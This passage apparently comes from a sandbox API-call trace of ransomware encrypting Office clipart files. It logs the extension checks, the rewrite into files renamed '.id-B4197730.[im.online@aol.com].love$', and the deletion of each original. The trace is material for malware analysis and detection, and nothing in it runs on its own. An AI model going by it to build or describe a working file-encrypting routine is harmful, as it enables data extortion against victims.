Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString=".doc") returned 4 [0281.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString=".docx") returned 5 [0281.034] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0281.034] lstrlenW (lpString=".pdf") returned 4 [0281.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString=".xls") returned 4 [0281.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.034] lstrlenW (lpString=".xlsx") returned 5 [0281.034] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0281.034] lstrlenW (lpString=".ppt") returned 4 [0281.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString=".zip") returned 4 [0281.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.034] lstrlenW (lpString=".rar") returned 4 [0281.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString=".bz2") returned 4 [0281.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString=".7z") returned 3 [0281.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString=".dbf") returned 4 [0281.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString=".1cd") returned 4 [0281.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString=".jpg") returned 4 [0281.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.035] lstrlenW (lpString=".doc") returned 4 [0281.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString=".docx") returned 5 [0281.035] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0281.035] lstrlenW (lpString=".pdf") returned 4 [0281.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString=".xls") returned 4 [0281.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.035] lstrlenW (lpString=".xlsx") returned 5 [0281.035] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0281.035] lstrlenW (lpString=".ppt") returned 4 [0281.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.035] lstrlenW (lpString=".zip") returned 4 [0281.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.035] lstrlenW (lpString=".rar") returned 4 [0281.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString=".bz2") returned 4 [0281.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString=".7z") returned 3 [0281.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.035] lstrlenW (lpString=".dbf") returned 4 [0281.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.035] lstrlenW (lpString=".1cd") returned 4 [0281.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105638.WMF") returned 68 [0281.035] lstrlenW (lpString=".jpg") returned 4 [0281.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.036] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.036] lstrlenW (lpString="J0105912.WMF") returned 12 [0281.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.037] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11720) returned 1 [0281.037] CloseHandle (hObject=0x2fc) returned 1 [0281.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0281.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.038] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.038] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0281.040] GetLastError () returned 0x0 [0281.040] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0281.205] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0281.206] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.206] WriteFile (in: hFile=0x574, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.206] SetEndOfFile (hFile=0x574) returned 1 [0281.226] CloseHandle (hObject=0x574) returned 1 [0281.231] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.231] SetEndOfFile (hFile=0x2fc) returned 1 [0281.243] CloseHandle (hObject=0x2fc) returned 1 [0281.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0281.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.246] lstrlenW (lpString=".doc") returned 4 [0281.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.246] lstrlenW (lpString=".docx") returned 5 [0281.246] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0281.246] lstrlenW (lpString=".pdf") returned 4 [0281.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.246] lstrlenW (lpString=".xls") returned 4 [0281.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.246] lstrlenW (lpString=".xlsx") returned 5 [0281.246] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0281.246] lstrlenW (lpString=".ppt") returned 4 [0281.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.247] lstrlenW (lpString=".zip") returned 4 [0281.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.247] lstrlenW (lpString=".rar") returned 4 [0281.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString=".bz2") returned 4 [0281.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString=".7z") returned 3 [0281.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.247] lstrlenW (lpString=".dbf") returned 4 [0281.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.247] lstrlenW (lpString=".1cd") returned 4 [0281.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.247] lstrlenW (lpString=".jpg") returned 4 [0281.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.247] lstrlenW (lpString=".doc") returned 4 [0281.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.247] lstrlenW (lpString=".docx") returned 5 [0281.247] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0281.247] lstrlenW (lpString=".pdf") returned 4 [0281.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.248] lstrlenW (lpString=".xls") returned 4 [0281.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.248] lstrlenW (lpString=".xlsx") returned 5 [0281.248] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0281.248] lstrlenW (lpString=".ppt") returned 4 [0281.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.248] lstrlenW (lpString=".zip") returned 4 [0281.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.248] lstrlenW (lpString=".rar") returned 4 [0281.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.248] lstrlenW (lpString=".bz2") returned 4 [0281.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.248] lstrlenW (lpString=".7z") returned 3 [0281.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.248] lstrlenW (lpString=".dbf") returned 4 [0281.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.248] lstrlenW (lpString=".1cd") returned 4 [0281.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0281.248] lstrlenW (lpString=".jpg") returned 4 [0281.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.249] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.249] lstrlenW (lpString="J0106124.WMF") returned 12 [0281.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.250] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=5812) returned 1 [0281.250] CloseHandle (hObject=0x2fc) returned 1 [0281.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0281.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.251] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.251] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0281.255] GetLastError () returned 0x0 [0281.255] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x16b4, lpOverlapped=0x0) returned 1 [0281.257] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x16c0, lpOverlapped=0x0) returned 1 [0281.258] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.258] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.258] SetEndOfFile (hFile=0x304) returned 1 [0281.259] CloseHandle (hObject=0x304) returned 1 [0281.259] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.259] SetEndOfFile (hFile=0x2fc) returned 1 [0281.262] CloseHandle (hObject=0x2fc) returned 1 [0281.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 1 [0281.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.264] lstrlenW (lpString=".doc") returned 4 [0281.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.264] lstrlenW (lpString=".docx") returned 5 [0281.264] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0281.264] lstrlenW (lpString=".pdf") returned 4 [0281.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.264] lstrlenW (lpString=".xls") returned 4 [0281.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.264] lstrlenW (lpString=".xlsx") returned 5 [0281.264] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0281.264] lstrlenW (lpString=".ppt") returned 4 [0281.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.264] lstrlenW (lpString=".zip") returned 4 [0281.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.264] lstrlenW (lpString=".rar") returned 4 [0281.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.264] lstrlenW (lpString=".bz2") returned 4 [0281.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString=".7z") returned 3 [0281.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.265] lstrlenW (lpString=".dbf") returned 4 [0281.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.265] lstrlenW (lpString=".1cd") returned 4 [0281.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.265] lstrlenW (lpString=".jpg") returned 4 [0281.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.265] lstrlenW (lpString=".doc") returned 4 [0281.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString=".docx") returned 5 [0281.265] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0281.265] lstrlenW (lpString=".pdf") returned 4 [0281.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString=".xls") returned 4 [0281.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.265] lstrlenW (lpString=".xlsx") returned 5 [0281.265] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0281.265] lstrlenW (lpString=".ppt") returned 4 [0281.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.265] lstrlenW (lpString=".zip") returned 4 [0281.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.265] lstrlenW (lpString=".rar") returned 4 [0281.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString=".bz2") returned 4 [0281.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.265] lstrlenW (lpString=".7z") returned 3 [0281.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.266] lstrlenW (lpString=".dbf") returned 4 [0281.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.266] lstrlenW (lpString=".1cd") returned 4 [0281.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF") returned 68 [0281.266] lstrlenW (lpString=".jpg") returned 4 [0281.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.266] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0281.266] lstrlenW (lpString="J0106146.WMF") returned 12 [0281.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.279] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=23548) returned 1 [0281.279] CloseHandle (hObject=0x2fc) returned 1 [0281.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0281.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0281.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0281.280] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.280] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0281.282] GetLastError () returned 0x0 [0281.282] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x5bfc, lpOverlapped=0x0) returned 1 [0281.410] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5c00, lpOverlapped=0x0) returned 1 [0281.412] ReadFile (in: hFile=0x2fc, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0281.412] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0281.412] SetEndOfFile (hFile=0x304) returned 1 [0281.413] CloseHandle (hObject=0x304) returned 1 [0281.413] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.413] SetEndOfFile (hFile=0x2fc) returned 1 [0281.416] CloseHandle (hObject=0x2fc) returned 1 [0281.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0281.425] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0281.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF") returned 68 [0281.426] lstrlenW (lpString=".doc") returned 4 [0281.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.426] lstrlenW (lpString=".docx") returned 5 [0281.426] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0281.426] lstrlenW (lpString=".pdf") returned 4 [0281.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.427] 